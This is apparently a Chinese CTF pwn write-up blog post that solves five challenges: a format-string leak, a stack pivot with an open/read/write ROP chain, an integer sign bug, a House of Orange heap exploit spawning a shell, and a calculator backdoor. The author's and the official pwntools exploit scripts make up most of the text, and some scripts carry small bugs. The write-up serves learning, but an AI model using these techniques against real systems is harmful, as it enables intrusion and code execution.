中国海洋大学ctf pwn wp

fmt

考点

本题禁用了 $ 意味着不能随便在栈上任意输出了,而且输出格式字符串时处于的栈位置比 flag 深了非常多,直接用堆积格式控制符的方法也不能泄露flag 了,

本题先在根目录下放一个flag文件要不然打不开

gdb调了一下,发现flag这不就是在r9寄存器上吗,直接%p%p%p%p%s输出但是远程不行

大概率环境不同吧

接下来继续看

__int64 padded_work()
{
  __int64 v1[140]; // [rsp+0h] [rbp-460h] BYREF

  memset(&v1[14], 0, 1000);
  memset(v1, 0, 110);
  puts("what is your name?");
  __isoc99_scanf("%100s", v1);
  wrap_printf(v1);
  puts("have anything else to say?");
  __isoc99_scanf("%100s", v1);
  return wrap_printf(v1);
}

貌似没有什么溢出那该怎么办呢

进入gdb调试一下

进入第一个padded函数

image

在这里要注意stack 200看的要多一些

输入可以看到flag就在rbp+0x10de位置可是我们只能输入100个字节因此无法通过%p泄露出flag

image

不过64位格式字符串前六个参数放在寄存器上,因此我们可以通过%p泄漏第七个参数

调试一下

image

此时第七个参数刚好是rsp的地址

计算器算出来偏移刚好是0x470

因此我们可以将flag地址打包写入栈上,刚好是第十五个就可以通过%s泄露出flag

exp

import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
context.log_level='debug'
context(os='linux', arch='amd64')
io=process('./pwn')
io = remote('competition.blue-whale.me',20160)
elf = ELF('./pwn')

#libc = ELF('./libc.so.6')

#libcc = cdll.LoadLibrary('./libc.so.6')
#libcc.srand(libcc.time(0))

def duan():
	gdb.attach(io)
	pause()

puts_got = elf.got['puts']
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
payload = b'%p%p%p%p%p%p%p'
io.recvuntil(b'what is your name?\n')

io.sendline(payload)


io.recvuntil('0x40097e')
stack = int(io.recv(14),16)+0x470
print(hex(stack))

io.recvuntil('have anything else to say?\n')


payload1 = b'%p%p%p%p%p%p%p%p%p%p%p%p%p%s%p%p'+p64(stack)

io.sendline(payload1)





io.interactive()

官方exp

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
#p=process('./padfmt')
p = remote('competition.blue-whale.me', 20252)
leak = b"%llx%llx%llx%llx%llx%llx_%llx__"
p.recvuntil(b"name")
p.sendline(leak)
fmt = int(p.recvuntil(b"__").split(b"_")[1], 16)
flag = fmt + 0x470
print(fmt, flag)
payload = b"%llx"*18+b"%llx"+b"%s__"+p64(flag)
#payload = b"%llx"*24+b"%lld%s__"+p64(flag)
p.sendline(payload)
p.recvuntil(b"bye")

stack

考点

本题开启了沙箱没法用 execve,只能用 open,write,read,exit,结合题目明示

flag 位置,考虑构造 orw 读取并输出 flag 内容

image

放入ida

image

可以看到类似于polar ctf的一道题

只能溢出0x10个字节

所以我们要用栈迁移的方法来

在这里我们用leave ret的方式进行栈迁移

先泄露rbp地址然后栈迁移构造orw读取flag

在这里我们需要注意一下啊

image

image

buf地址并没有可执行权限

如果有可执行权限我们可以用shellcraft 生成orw

image

exp

import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
context.log_level='debug'
context(os='linux', arch='amd64')
io = process('./pwn')
#io = remote('competition.blue-whale.me',20561)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
def duan():
	gdb.attach(io)
	duan()
pop_rdi = 0x400b93

leave_ret = 0x400a74
start = 0x400870
read= 0x400AEF

payload = b'a'*(0x140-8)+b'aaaaaaab'
io.recvuntil(b'please enter your content:\n')
io.send(payload)
io.recvuntil(b'aaaaaaab')
rbp = u64(io.recv(6).ljust(8, b'\x00'))
log.success('[rbp]:'+hex(rbp))
#duan()
stack = rbp-0x150

payload = (p64(stack)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(read)).ljust(0x140, b'\x00')+p64(stack)+p64(leave_ret)
io.recvuntil(b'again:\n')
io.send(payload)

libc_puts = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = libc_puts-libc.symbols['puts']
print(libcbase)
#duan()
openn = libc_base+libc.symbols['open']
readd = libc_base+libc.symbols['read']
write = libc_base+libc.symbols['write']
pop_rdx = libc_base+0x1b92
pop_rsi = libc_base+0x202f8

payload = b'./flag\x00\x00'
payload += p64(pop_rdi)+p64(stack-0x140)+p64(pop_rsi)+p64(0)+p64(openn)
payload += p64(pop_rdi)+p64(3)+p64(pop_rsi) + p64(e.bss()+0x100) + p64(pop_rdx)+p64(0x100)+p64(readd)
payload += p64(pop_rdi)+p64(1)+p64(pop_rsi) + p64(e.bss()+0x100)+p64(pop_rdx)+p64(0x100)+p64(write)
payload = payload.ljust(0x140, b'\x00')+p64(stack-0x140)+p64(leave_ret)
#duan()
io.send(payload)
io.interactive()

运行一下下

image

官方exp

from pwn import *
context(log_level="debug", arch="amd64", os="linux")
#p = process("./baby_stack")
p = remote("competition.blue-whale.me", 20405)
elf = ELF("./baby_stack")
libc = ELF("./libc-2.23.so")
puts_plt = 0x4007E0 # elf.plt['puts']
read_got = elf.got["read"]
pop_rdi_ret = 0x400B93
leave_ret = 0x400A74
func_addr = 0x400A76
# ret = 0x400799
payload1 = "a" * 0x140
p.sendafter("please enter your content:\n", payload1)
stack = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
success("stack -> {:#x}".format(stack))
buf = stack - 0x150
payload2 = (
p64(stack) + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) +
p64(func_addr)
).ljust(0x140, b"\x00")
payload2 += p64(buf) + p64(leave_ret)
p.sendafter("please enter your content again:\n", payload2)
lib = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) - libc.sym["read"]
success("libc_base -> {:#x}".format(lib))
pop_rdi = lib + next(libc.search(asm("pop rdi;ret")))
pop_rsi = lib + next(libc.search(asm("pop rsi;ret")))
pop_rdx = lib + next(libc.search(asm("pop rdx;ret")))
open_addr = lib + libc.sym["open"]
write_addr = lib + libc.sym["write"]
read_addr = lib + libc.sym["read"]
payload3 = "a" * 0x140
p.sendafter("please enter your content:\n", payload3)
stack = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
success("stack -> {:#x}".format(stack))
buf = stack - 0x270
payload4 = (
b"./flag\x00\x00"
+ p64(pop_rdi)
+ p64(buf)
+ p64(pop_rsi)
+ p64(0)
+ p64(open_addr)
+ p64(pop_rdi)
+ p64(3)
+ p64(pop_rsi)
+ p64(buf)
+ p64(pop_rdx)
+ p64(0x100)
+ p64(read_addr)
+ p64(pop_rdi)
+ p64(1)
+ p64(pop_rsi)
+ p64(buf)
+ p64(pop_rdx)
+ p64(0x100)
+ p64(write_addr)
).ljust(0x140, b"\x00")
payload4 += p64(buf) + p64(leave_ret)
p.sendafter("please enter your content again:\n", payload4)
io.interactive()

摩登pwn

已经不想说什么

连接上tightvnc让你输入负数

image

可以看到这个操作会输出flag

gpt翻译

image

因此下面的判断是如果 v27 < 0 就输出 flag,题目限制了能输入的数字长度,但只要输个

232-1 至 231 之间的数字就行

直接输入最大的数flag就出了

4294967295
image

image

orange

在这卡了好几天

终于出了

放入ida看一下

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  sub_A50(a1, a2, a3);
  while ( 1 )
  {
    while ( 1 )
    {
      puts("1.add");
      puts("2.del");
      puts("3.edit");
      puts("4.show");
      _isoc99_scanf("%d", &v3);
      if ( v3 != 2 )
        break;
      sub_E17();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        sub_BE1();
      }
      else if ( v3 == 4 )
      {
        sub_D35();
      }
    }
    else if ( v3 == 1 )
    {
      sub_AB1();
    }
  }
}

类似于简单的菜单题

add(0,0x108)
add(1,0x1f8)
add(2,0xe8)
add(3,0xe0)

创建了四个相连的堆块

image

泄露出基址

image

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

context(os = 'linux',log_level = "debug",arch = 'amd64')
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
	context.arch = 'amd64'
else:
	context.arch = 'i386'

p=process('./pwn')
elf = ELF('./pwn')
libc=ELF('./libc-2.23.so')
add_idx = 1
delete_idx = 2
show_idx = 4
edit_idx = 3

def duan():
	gdb.attach(p)
	pause()

def choice(cho):
	sla('4.show\n',cho)

def add(idx,size):
	choice(add_idx)
	sla('which index?\n',idx)
	sla('what size?\n',size)

def delete(idx):
	choice(delete_idx)
	sla('which index?\n',idx)

def show(idx):
	choice(show_idx)
	sla('which index?\n',idx)

def edit(idx,content):
	choice(edit_idx)
	sla('which index?\n',idx)

	sla('content:\n',content)

add(0,0x108)
add(1,0x1f8)
add(2,0xe8)
add(3,0xe0)


pay = b'a'*0x108+b'\xf1'
edit(0,pay)

delete(1)

ru('delete: ')
heap_base=int(r(14),16)-0x120
leak('heap_base ',heap_base)


add(1,0x1f8)
show(2)
ru('content:\n')
main_aren = u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
leak('main_aren ',main_aren)
#duan()
libc_base = main_aren - 0x3c4b78
leak('libc_base ',libc_base)
io_list_all = libc_base+libc.sym["_IO_list_all"]
system = libc_base+libc.sym["system"]

io = p64(0)+p64(io_list_all-0x10)
io += p64(0)+p64(1)
io = io.ljust(0xd8-0x10,b"\x00")
io += p64(heap_base+0x400)
io += p64(0)+b'\x00'

edit(1,b'\x00'*0x1f0+b'/bin/sh\x00'+b'\x61')
edit(2,io)
edit(3,p64(0)+p64(system))
add(4,0xe0)

itr()

运行一下

image

拿到shell、

官方exp

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
#p=process("./one_orange")
p = remote('competition.blue-whale.me', 20918)
libc=ELF("./libc-2.23.so")
def add(idx,size):
p.sendlineafter(b"4.show\n",b"1")
p.sendlineafter(b"which index?\n",bytes(str(idx), 'ascii'))
p.sendlineafter(b"what size?\n",bytes(str(size), 'ascii'))
def free(idx):
p.sendlineafter(b"4.show\n",b'2')
p.sendlineafter(b"which index?\n",bytes(str(idx), 'ascii'))
p.recvuntil(b'this is you want to delete: ')
return int(p.recv(14),16)
def edit(idx,content):
p.sendlineafter(b"4.show\n",b'3')
p.sendlineafter(b"which index?\n",bytes(str(idx), 'ascii'))
p.sendlineafter(b"content:\n",content)
def show(idx):
p.sendlineafter(b"4.show\n",b'4')
p.sendlineafter(b"which index?\n",bytes(str(idx), 'ascii'))

add(6,0x1a0)
add(7,0x170)
add(8,0xe0)
add(10,0x380)
add(9,0x380) # above for padding
add(0,0xe8)
add(1,0xf0)
add(2,0xe0)
payload=b'a'*0xe8+b'\xf1'
edit(0,payload)
heap_base=free(1)-0xc40
success("heap_base -> {:#x}".format(heap_base))
add(1,0x100)
payload2=p64(0)+p64(0x2c1)
edit(2,payload2)
add(3,0x380)
payload3=b'b'*(0x10-1)
edit(2,payload3)
show(2)
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-88- 0x10 -
libc.symbols['__malloc_hook']
success("libc_base -> {:#x}".format(libc_base))
io_list_all_addr=libc_base+libc.symbols['_IO_list_all']
system_addr=libc_base+libc.symbols['system']
payload = b"Y"*0x10
flag = b'/bin/sh\x00'
heap=heap_base+0xe10-0x18
fake_size = p64(0x61)
fd = p64(0)
bk = p64(io_list_all_addr - 0x10)
write_base = p64(1)
write_ptr = p64(2)
mode = p32(0)
vtable = p64(heap)
overflow = p64(system_addr)
payload = flag
payload = payload + fake_size
payload = payload + fd
payload = payload + bk
payload = payload + write_base
payload = payload + write_ptr
payload = payload + p64(0)*18
payload = payload + mode + p32(0) + p64(0) + overflow
payload = payload + vtable
edit(2,payload)
add(4,0x100)
p.interactive()

卡死欧计算器

怎么说呢很长的一段代码

int __cdecl handle_input()
{
  int v1; // eax
  int v2; // eax
  int v3; // eax
  OPInfo_0 *v4; // rax
  int v5; // eax
  int v6; // eax
  int v7; // eax
  int v8; // eax
  char *end; // [rsp+18h] [rbp-B8h] BYREF
  handle_input::$ABC3A5BA1621B0CECBED674EC3823104 op_stack; // [rsp+20h] [rbp-B0h]
  handle_input::$B79843162A86359B3DBF089CA1AEDE1A num_stack; // [rsp+30h] [rbp-A0h]
  int pre_res; // [rsp+4Ch] [rbp-84h] BYREF
  double tmp; // [rsp+50h] [rbp-80h]
  double r; // [rsp+58h] [rbp-78h]
  double a; // [rsp+60h] [rbp-70h]
  double b; // [rsp+68h] [rbp-68h]
  double r_0; // [rsp+70h] [rbp-60h]
  double a_0; // [rsp+78h] [rbp-58h]
  double b_0; // [rsp+80h] [rbp-50h]
  OPInfo_0 *prev; // [rsp+88h] [rbp-48h]
  OPInfo_0 *curr; // [rsp+90h] [rbp-40h]
  double r_1; // [rsp+98h] [rbp-38h]
  double a_1; // [rsp+A0h] [rbp-30h]
  double b_1; // [rsp+A8h] [rbp-28h]
  OPInfo_0 *opi; // [rsp+B0h] [rbp-20h]
  int err; // [rsp+BCh] [rbp-14h]
  char *buf; // [rsp+C0h] [rbp-10h]
  int i; // [rsp+CCh] [rbp-4h]

  printf("input: ");
  memset(input_buffer, 0, sizeof(input_buffer));
  buf = fgets(input_buffer, 2000, stdin);
  if ( !buf )
    return 0;
  pre_res = 0;
  err = preprocess(buf, &pre_res);
  if ( err )
  {
    handle_preprocess_err(buf, err, pre_res);
    return 1;
  }
  else
  {
    num_stack.top = 0;
    num_stack.arr = (double *)malloc(8LL * pre_res);
    op_stack.top = 0;
    op_stack.arr = (char *)malloc(pre_res);
    *num_stack.arr = 0.0;
    for ( i = 0; buf[i]; ++i )
    {
      if ( buf[i] != 32 )
      {
        if ( buf[i] > 47 && buf[i] <= 57 || buf[i] == 46 )
        {
          tmp = strtod(&buf[i], &end);
          num_stack.arr[++num_stack.top] = tmp;
          i = (_DWORD)end - (_DWORD)buf - 1;
        }
        else if ( buf[i] == 40 )
        {
          op_stack.arr[++op_stack.top] = 40;
        }
        else if ( buf[i] == 41 )
        {
          while ( op_stack.arr[op_stack.top] != 40 )
          {
            v1 = num_stack.top--;
            b = num_stack.arr[v1];
            v2 = num_stack.top--;
            a = num_stack.arr[v2];
            v3 = op_stack.top--;
            v4 = lookup_op(op_stack.arr[v3]);
            r = v4->op(a, b);
            num_stack.arr[++num_stack.top] = r;
          }
          --op_stack.top;
        }
        else
        {
          curr = lookup_op(buf[i]);
          while ( op_stack.top )
          {
            prev = lookup_op(op_stack.arr[op_stack.top]);
            if ( !prev || curr->level > prev->level )
              break;
            v5 = num_stack.top--;
            b_0 = num_stack.arr[v5];
            v6 = num_stack.top--;
            a_0 = num_stack.arr[v6];
            r_0 = prev->op(a_0, b_0);
            --op_stack.top;
            num_stack.arr[++num_stack.top] = r_0;
          }
          op_stack.arr[++op_stack.top] = curr->sym;
        }
      }
    }
    while ( op_stack.top )
    {
      opi = lookup_op(op_stack.arr[op_stack.top]);
      v7 = num_stack.top--;
      b_1 = num_stack.arr[v7];
      v8 = num_stack.top--;
      a_1 = num_stack.arr[v8];
      r_1 = opi->op(a_1, b_1);
      --op_stack.top;
      num_stack.arr[++num_stack.top] = r_1;
    }
    printf("result: %lf\n", num_stack.arr[num_stack.top]);
    free(op_stack.arr);
    free(num_stack.arr);
    return 1;
  }
}

可以看到

image

如果我们输入的字符为#时进入后门函数

import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
context.log_level='debug'
context(os='linux', arch='amd64')
io = process('./pwn')
#io = remote('47.100.137.175',31163)
elf = ELF('./pwn')

#libc = ELF('./libc.so.6')

#libcc = cdll.LoadLibrary('./libc.so.6')
#libcc.srand(libcc.time(0))

def duan():
	gdb.attach(io)
	pause() 
io.recvuntil(b'input:')
io.sendline(b"()*()+1.27e-321")
io.recvuntil(b'input:')
io.sendline(b"0+(0+(0+(0+(0+(0+(0+(0+(0+(0+2.008776679223492e-139)))))))))")
io.interactive()
posted @ 2024-06-02 16:25  j1nxi  阅读(16)  评论(0)    收藏  举报